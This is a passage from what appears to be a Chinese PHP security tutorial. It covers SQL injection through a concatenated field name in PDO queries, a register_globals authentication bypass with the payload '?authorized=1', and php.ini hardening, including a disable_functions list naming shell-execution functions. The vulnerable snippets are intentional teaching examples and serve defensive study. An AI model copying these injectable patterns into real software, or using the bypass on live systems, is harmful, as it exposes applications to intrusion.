// 设置非模拟预处理
// $pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

$username = $_GET['username'];
$sql = "select id,".$_GET['field']." from user where username = ?";
$stmt = $pdo->prepare($sql);$stmt->bindParam(1,$username);
$stmt->execute();

while($row=$stmt->fetch(PDO::FETCH_ASSOC)){
    var_dump($row);
    echo "";
}

field 字段可控,当 PDO 为模拟预处理时,设置 $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); 时,可以达到报错注入效果

field 字段可控,多语句不可执行,但设置 $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); 时,也可进行报错注入。因为 MySQL 服务端 prepare 时报错,通过设置 PDO::ATTR_ERRMODE 将 MySQL 可以进行错误信息打印。

10.3 盲注

表名、列名、order by、ASC、DESC 等字段无法使用 PDO。生成语法树的过程中,预处理器在进一步检查解析后的语法树时,会检查数据表和数据列是否存在,不存在则报错,因此数据表和数据列不能被占位符 **?**所替代。当表名需要作为一个变量存在,这部分仍需由加号进行 SQL 语句的拼接,若表名是由外部传入且可控的,仍会造成 SQL 注入。而 order by 后的 ASC/DESC 等字段,在使用 PDO 后不能识别。当业务场景涉及用户可控的排序时,且 ASC/DESC 是由前台传入并拼接到SQL 语句上时,也可能造成sql注入。

11、安全配置问题

1)注册全局变量带来的安全隐患

register_globals 用来开启全局注册变量功能。在 php4.2.0 后默认为 off,如果为 on,需要为每个变量初始化,get,post,cookie等变量直接被注册为全局变量,比如表单的username,程序中使用 username 就能获取到值,不需 _POST 来获取值。

php 复制代码
<?php
if (!empty($_COOKIE['secret'])){
    $authorized = true;
    if ($authorized){
        ...
        }
}

payload:?authorized=1

当 register_globals 为 on,通过 get 传参使 $authorized 注册为全局变量,就绕过了认证。

若有需求要开启注册全局变量,有两种方法可以防御:

  • 初始化变量:当初始化了 $authorized 的值为假,即使传入了真也不会改变
  • 配置预警模式:在 php.ini 中设置 error_reporting 设置为 E_ALL|E_STRICT 最高级别,若存在未初始化的全局变量,会预警。
2) 配置不显示错误信息,保存错误信息到本地

关闭浏览器显示错误提示,记录错误提示到本地日志中,减少信息泄露。这些设置可以在php.ini中设置,也可以在php程序中设置。

3)权限问题

文件上传的目录不应设置可执行权限。

4)allow_url_include 和 allow_url_fopen

都开启时可以导致远程文件包含漏洞,有需要开启时,需要设置过滤程序。

5)magic_quotes_gpc, magic_quotes_runtime

此两项都是魔术引号,都能自动过滤,但各有不同。开启后,系统会自动过滤外来变量减少一些安全隐患,但是同时也带来了一些性能损耗,同时在做一些逻辑判断时候,需要把反斜杠去掉再处理,用 strislashes 函数去掉,因此最好做全局过滤框架来过滤。

  • 代表 get,post,cookie 变量的过滤,过滤有单引号,双引号,反斜杠,空字符,都用反斜杠转义,但是gpc过滤还是不完整的,比如 php5 中 $_SERVER 变量不会过滤,如果程序中,把 client-ip,referer 存到数据库中就能引发 sql 注入。
  • magic_quotes_runtime 是对文件或者数据库中取出的数据过滤,能很好的解决二次注入漏洞。
6)safe_mode

功能描述:限制函数使用权限和操作目录文件权限等功能。php 的安全模式,开启后会提升系统的安全系数,但是同时也会限制一些功能的使用。检验用户是否有操作文件权限。在安全模式下包含某些公共文件,可以选用它的子配置

php 复制代码
safe_mode_include_dir = D:/phpstudy/www/include/
7)open_basedir

目录权限的控制,开启可安全系数,但会影响到性能,每次有对目录操作权限的地方都会对此项进行判断。

php 复制代码
open_basedir = /var/www/a/:/var/www/b/

a中php程序和b中php程序不能相互访问

linux用冒号分割,windows用分号分割
8)disable_functions

禁止敏感函数相对较安全。

php 复制代码
禁止命令执行函数
disable_functions = system,passthru,exec,shell_exec,popen,pcntl_exec,proc_open

禁止文件操作函数
disable_functions=chdir,chroot,dir,getcwd,opendir,readdir,scandir,fopen,unlink,delete,copy,mkdir,rmdir,rename,file,file_get_contents,fputs,fwrite,chgrp,chmod,chow

禁止环境配置相关操作函数
disable_functions=putenv,getenv,unsetenv
9)expose_php

隐藏php版本信息,使攻击者在信息收集时候无法判断程序版本,增加防御系数。expose_php=off 为开启

10)display_startup_errors

此项配置跟 display_errors 做比较,区别是这个是 php 程序启动时产生的错误,和 display_errors 是不一样的,关闭可以增加防御系数。

相关推荐
cipher2 小时前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
BingoGo12 小时前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack12 小时前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack1 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo1 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack3 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理3 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
一次旅行3 天前
网络安全总结
安全·web安全
red1giant_star3 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
QQ5110082853 天前
python+springboot+django/flask的校园资料分享系统
spring boot·python·django·flask·node.js·php